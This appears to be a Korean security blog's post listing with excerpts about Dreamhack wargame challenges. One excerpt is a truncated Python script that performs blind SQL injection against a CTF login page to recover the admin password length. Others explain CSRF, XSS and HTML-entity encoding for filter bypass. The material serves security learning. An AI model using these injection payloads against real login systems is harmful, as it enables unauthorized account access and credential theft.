dreamhack의 simple_sqli를 blind sql injection으로 풀어보았다. import requests URL="http://host3.dreamhack.games:11344/login" #비밀번호 길이 password_length = 0 ''' def binsearch(low: int, high: int): while 1: mid = (low + high) // 2 if low + 1 >= high: break data = {"userid" : f"admin\" and length(userpassword) < {mid} -- ", "userpassword" : 1} r = requests.post(URL, data=data) if "admin" in r.text: high = mid..
분류 전체보기
CSRF란? 임의 이용자의 권한으로 임의 주소에 HTTP요청을 보낼 수 있는 취약점이다. 예를 들어, 이용자의 계정으로 임의 금액을 송금해 이득을 취하거나 관리자 계정을 공격해 공지사항 작성 등으로 혼란을 줄 수 있다. CSRF 공격에 성공할려면 공격자가 작성한 악성 스크립트를 이용자가 실행해야 한다. 이는, 공격자가 이용자에게 메일을 보내거나 게시판에 글을 작성해 이용자가 이를 조회하도록 유도하는 방법이 있다. 다시 예를 들어, 공격자가 form 태그를 사용해 http요청을 보내는 코드를 작성하고, 이용자가 이를 조회하면 공격자는 이용자에게 들키지 않고 임의 페이지에 이용자의 권한으로 요청을 보낼 수 있다. 악성 스크립트가 포함된 게시글을 작성하면은, 그 게시글을 조회한 이용자들이 공격을 당한다.
#!/usr/bin/python3 from flask import Flask, request, render_template from selenium import webdriver from selenium.webdriver.chrome.service import Service import urllib import os app = Flask(__name__) app.secret_key = os.urandom(32) try: FLAG = open("./flag.txt", "r").read() except: FLAG = "[**FLAG**]" def read_url(url, cookie={"name": "name", "value": "value"}): cookie.update({"domain": "127.0.0..
XSS란? 클라이언트 사이드 취약점 중 하나로, 공격자가 웹 리소스에 악성 스크립트를 삽입해 웹 브라우저에서 해당 스크립트를 실행할 수 있다. 예를 들어 게시글을 작성하는 곳에 와 같은 js코드를 넣는다면은 웹서버는 해당 스크립트를 실행하여 보여주므로 alert창이 뜨게 된다. 만약 script에 alert가 아닌 다른 공격할 수 있는 코드를 넣는다면은 심각한 취약점이 될것이다. 위는 쿠키 및 세션을 탈취하는 코드이다. 이외에 페이지를 변조하거나 위치를 이동시킬수 있는 공격코드를 작성할 수도 있다. Stored XSS Stored XSS는 서버의 데이터베이스 또는 파일 등의 형태로 저장된 악성 스크립트를 조회할때 발생하는 XSS이다. 대표적으론 게시물과 댓글에 악성 스크립트를 포함하여 업로드하는 방식이 ..
퍼센트 인코딩, uri 인코딩 이외에 html 인코딩도 있다. xss에서 src 필드 같은데에 사용되는데 예를들어 소괄호 '(' 는 html entity로 (이다. x28은 16진수이므로 (과 똑같다. 아래 링크에 특수문자를 자세히 정리한 글이 있다. https://johngrib.github.io/wiki/special-chars/ 특수문자 모음 특수문자 검색하다 빡쳐서 작성한 문서 johngrib.github.io